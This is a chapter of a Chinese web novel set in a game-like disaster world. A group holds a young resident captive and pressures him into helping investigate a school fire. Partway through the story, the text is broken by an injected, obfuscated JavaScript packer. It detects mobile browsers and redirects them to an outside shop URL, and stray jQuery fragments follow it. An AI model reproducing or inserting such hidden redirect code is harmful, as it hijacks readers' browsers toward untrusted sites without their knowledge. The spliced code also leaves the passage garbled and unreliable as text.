【课程进度：星期三】
周澈盘腿在地，双手被绳子绑在身后扭曲的路灯杆上。
天色已亮，空气中弥漫着尘土，四处是断壁残垣和车辆骨架。许羽生和狐狸面若无其事地待在暗处，张富贵拘谨地不知所措。唯有闻响站在周澈面前，双手叉腰，冷冰冰地盯着他。
周澈眼皮抬了抬，视线偷偷地掠过闻响的头顶，闻响的下巴一抬，邪恶又昂扬的目光正好撞上周澈的试探。
“你早就知道，袭击你又救你，是我们自导自演的一出戏？”闻响率先开口。
“嗯哼。”周澈应了一声，小心地挪了挪发麻的屁股。
“所以你就反手一个举报，让警察把我们一锅端了？”
“大概……可以这么说。”周澈道，“主要你们的行动也太古怪了，哪有正常人会这么干。尤其是你，还故意偷看我们楼道密码，鬼鬼祟祟摸上楼。你们上一秒敢掐人脖子，谁知道下一秒会不会直接找上门？我总得保护我自己，还有我家里人吧。”
不久前，闻响找婆婆送“土特产”的那一幕，被周澈看得干干净净。
“但你知不知道你这么干，给我们惹了多大麻烦？”闻响气急道。
“不知道。”周澈索性抬起头，迎着对方的视线理直气壮道，“行为鬼祟、动机成谜的是你们。我一个普通市民，在遭遇疑似生命威胁后，选择相信人民警察，有什么错？”
“可我们真不是坏人！”闻响无言以对，看起来有点崩溃，“我们只是情况特殊，走投无路，被迫的。”
“好好好，你们走投无路就要拉着我一起？两次了！差点把我掐死在这儿，现在都升级成非法拘禁了。你自己说，这是好人干的事？”
“那你要怎么才肯信？”闻响蹲下来，试图进行眼神交流。
周澈立刻给出了标准答案：“首先，把绳子给我解开，放我走。”
“那不行，至少暂时不行。”
“看！我说什么来着！”周澈满脸写着夸张的“果然如此”。
闻响叹了口气：“这事连累上你确实是我们不对，但你还不能走。主要还是你对我们太有用了。况且，这次是你自己突然找过来的，对不对？”
“你以为我想要再撞上你们？我当时舒舒服服地坐在警车里，一个爆炸，整辆车说翻就翻！等我醒来，一睁眼，世界变废墟了，爸妈不见了，邻居也没了，全世界就剩我一个活人似的。好不容易听到这边有动静，欢天喜地找过来，结果呢……我怎么知道是你们这群人在这蹲点！”
闻响尴尬地笑着：“这说明，缘分来了，挡都挡不住啊！”
“滚啊！孽缘！”
“你别急嘛，虽说我们是把你绑了，但你刚刚也发现了，其余人去哪了咱谁也不清楚。这地球上说不准就剩我们几个相依为命了，咱们好好相处行不行，交个朋友？”
“谁要跟一群恐怖分子好好相处！再说了，你们把人绑着哪有一点交朋友的样子！”
“……”
另一边，不远处的暗角中，许羽生的目光从未离开过周澈。
他观察着对方争吵时每一个细微的表情，愤怒下的试探，恐惧中一闪而过的精明，这显然不是预设的反应，他与过往无数的NPC都有着微妙的差异。
狐狸面饶有兴致地看了过来。
“一个NPC的情感和思维模态，竟能运行得如此高级，就是因为他，你才失算的？”
“我从没说过失算。”许羽生平静道，“他会选择实名举报，这个可能性我预判过，目前仍在可控范围。”
“哦？”
“如果他完全按照计划匿名举报，根据以往来看，这种NPC的智商与反应完全符合预设标准，接下来的调查过程也将顺水推舟，是一种很好的结果。但如果他进行了截然相反的行动，比如现在，那就更好了。”
狐狸面挑了挑眉。
许羽生继续道：“第一种情况，仅仅只能证明了他是一个可以被利用的NPC，但如果发生了第二种情况，就证明了我们抓出了问题所在。”
一个从F级强行升至A级的副本，必然存在某种异常，规避风险是常规思路，但主动引出异常，才是定位问题最快的方式，NPC们越是做出超乎预设的反应，就越说明这个副本的问题正在浮出水面。
狐狸面轻笑：“所以你宁可把自己逼到险境，就为了测试BUG到底出在哪儿？”
“这不叫险境，叫可控的试探。”许羽生淡淡道，“我有把握不会死，并借此机会获得关键线索。只是没想到，这个试探竟会把你给钓出来。”
狐狸面冷笑一声：“有意思。”
“原来，你不是来通关的，你是来检修的，这才是上面派你下来的真实目的，也是不惜将701贬为101的目的。”狐狸面的声音不大，只够两人听见。
许羽生顿了顿：“你有兴趣？”
“自己的活自己干，别总想着拉人一起下水。”狐狸面百无聊赖地打了个哈欠。
许羽生：“……”
阳光下的两人依旧喋喋不休。
“话说，你家小朋友这么揪着人家不放，你真不打算管管？”狐狸面又道。
“没必要。就算他身上没再有价值，现在浪费的时间也干不成什么。”许羽生道。
“得，那你们继续在这儿耗着吧，我先走一步……”
“不行。”许羽生一根手指勾住他的袖口。
狐狸面脚步一顿，回头挑眉：“喂，这算什么？交易可已经两清了，现在还不让走？”
“你对我们还有用。”许羽生道。
狐狸面嗤笑一声，瞥了眼远处还在争执的闻响和周澈：“行啊，原来那小孩是跟你学的！”
“不一样。”
“你最有理。”
许羽生沉默地看着他，手指却一点没松。
“留下。”他补充道：“你为我们提供稳定食物和住所，我每天都能给你当天生命点的30%。”
“管好你自己吧，你那点点数，留着续命我都嫌少。”狐狸面避开他的目光。
“那换个条件。”许羽生仍不松手，“如果你现在走，下次再见，额外答应你的那件事，就此作废。”
“没问题，我现在就换个副本流浪，我保证，这辈子都不再跟你打照面，行不行？”狐狸面回过头来。
许羽生的唇角轻微勾了一下：“……已经再见了。”
“……”
狐狸面彻底转回身，他盯着许羽生，笑意一点点凉下去。
“701，你能不能做个人？”
“不能把我当人看，你说的。”许羽生似乎笑了一下。
沉默良久，狐狸面咬牙切齿：“行，你赢了。”他狠狠甩开许羽生的手，没再提离开，再次倚靠在墙上，目光投向远处还在和绳子较劲的周澈，许羽生也不约而同地望向那边。
角落里的气氛神秘又古怪。
阳光下，闻响显然已经快没词了，正抓耳挠腮，周澈则梗着脖子，一副“有本事绑死我”的烈士表情。
“我……我们真的需要你帮忙！”闻响终于憋出一句，声音里带着点破罐破摔的恳求，“你看现在这情况，谁知道外面怎么样了？人多力量大，我们可以合作！资源共享！”
周澈嗤笑了声：“我现在只知道你们是非法拘禁犯，可能还是恐怖分子谋害未遂。”
闻响一时语塞，下意识回头看向许羽生立身的暗处。察觉到
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17629567|206319||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
闻响的求助，许羽生终于从阴影中走了出来，当他步入光线下的那一刻，争吵中的两人几乎同时闭上了嘴。
闻响立刻收敛了情绪，退开半步，低声叫了句：“许哥。”
许羽生没看闻响，径直走到周澈面前蹲下。
他的动作和闻响刚才如出一辙，但带来的感觉却截然不同，平静，审视，带着无形的压力。周澈不由自主地往后缩了缩，后背抵在路灯杆上。
“你想知道发生了什么。”许羽生开口。
周澈吞咽了一下：“对。”
“告诉你之后，你愿意留下，配合我们吗？”许羽生问得直接。
周澈咬着牙：“凭什么？你们还绑着我呢，这是合作的态度？”
“解开绳子，你会立刻跑。以你现在的体能和认知状态，存活概率低于10%，绑着你是现阶段最高效的保全方式。”许羽生道。
“但你们囚禁我，这是犯罪！”
“犯罪？”许羽生微微偏头，“那你知道为什么到现在都没有警察来救你吗？”
周澈怔了一下。
“死了，”许羽生平静道，“我杀的。”
周澈立即瞪大了眼睛：“你……你说什么？”
“你没听错，也没猜错，我们就是恐怖分子。看见那人身上的伤了吗？”许羽生指了指狐狸面。
“我打的。”
“你有病啊！”狐狸面惊骂道，“有本事再打一架，杀了你信不信！”
“听见没，我们的团队文化就是这样，不喜欢谁就杀谁。”许羽生面不改色。
闻响和张富贵：“？”
“所以，你老老实实地在这儿待着，配合我们工作，能活；不能，送你死。结果怎样，你自己选。”
周澈盯着眼前这张平静到冷漠的脸，呼吸几乎停滞。
事实上，周澈之所以敢和闻响争得你来我往，其实心里从未真正将他们与恐怖分子画上等号。即便经历了两次袭击，又被绑在此处，他始终没从对方身上察觉到杀意。闻响说需要他帮忙，他是信的，只是少年意气仍在，那点架子一时还放不下来。
然而许羽生的出现，却结结实实地给了他当头一棒。
“许哥，你吓着人了……”闻响在一旁小声开口，又被许羽生一个眼神怼了回去。
“选。”许羽生只说了一个字。
周澈深吸了口气，尽可能地镇定道：“我……可以配合，但你们要先告诉我，你们知道的。”
“没问题。”许羽生道：“我可以肯定地告诉你，关于那场火灾，你的质疑声完全没有错。在石城小学的行政楼里，我找到了那张被藏起来的检修报告单，那上面的结果与崔城石口中的截然相反。”
周澈顿时一愣：“相反？也就是说，关于电路老化的检修结果，是学校自己置若罔闻？”
“仅凭这一点下结论还太早，需要进一步调查，所以我需要你参与其中。”
周澈低头思索了几秒：“所以，只要协助你们调查清楚这里的火灾，就可以了是吗？”
“是。”
周澈抿了抿嘴唇，点头道：“行，我答应你们，需要我做什么？”
“首先，请你再告诉我一次，昨天你到底发现了什么？”许羽生道。
“我说过了，就……”
“你不用急着回答这个问题。”许羽生突然打断。
“你身上除了那点灰，就没磕没碰，不要再跟我说你坐的警车因爆炸翻车，然后陷入昏迷。其次，你清晨时的脚步明显是在试探，欢天喜地这个词我在你身上看不出来。所以，这个在此故意隐瞒事实的你，究竟都发现了什么？”许羽生的目光落在周澈的脸上。
“想清楚了再说。”